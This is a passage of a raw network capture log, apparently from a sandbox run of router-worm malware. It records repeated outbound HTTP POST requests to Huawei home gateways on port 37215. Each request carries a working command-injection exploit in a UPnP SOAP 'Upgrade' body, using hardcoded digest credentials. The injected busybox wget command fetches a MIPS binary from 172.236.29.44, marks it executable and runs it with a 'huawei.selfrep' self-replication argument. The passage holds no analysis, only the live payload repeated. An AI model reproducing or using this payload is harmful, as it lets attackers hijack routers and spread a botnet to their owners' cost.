/bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	38798	41.23.92.152	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.452577114 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	56320	197.108.80.199	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.456669092 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	57408	197.167.213.135	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.462014914 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	58236	41.249.70.37	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.465591908 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	53530	197.233.34.205	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.468954086 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	54330	156.222.139.12	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.472127914 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	51026	156.148.175.0	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.475344896 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	51174	156.81.108.1	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.478552103 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	59176	41.240.174.103	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.481307983 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	54646	156.35.219.54	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.483751059 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	47832	156.187.4.61	37215

Timestamp	Bytes transferred	Direction	Data
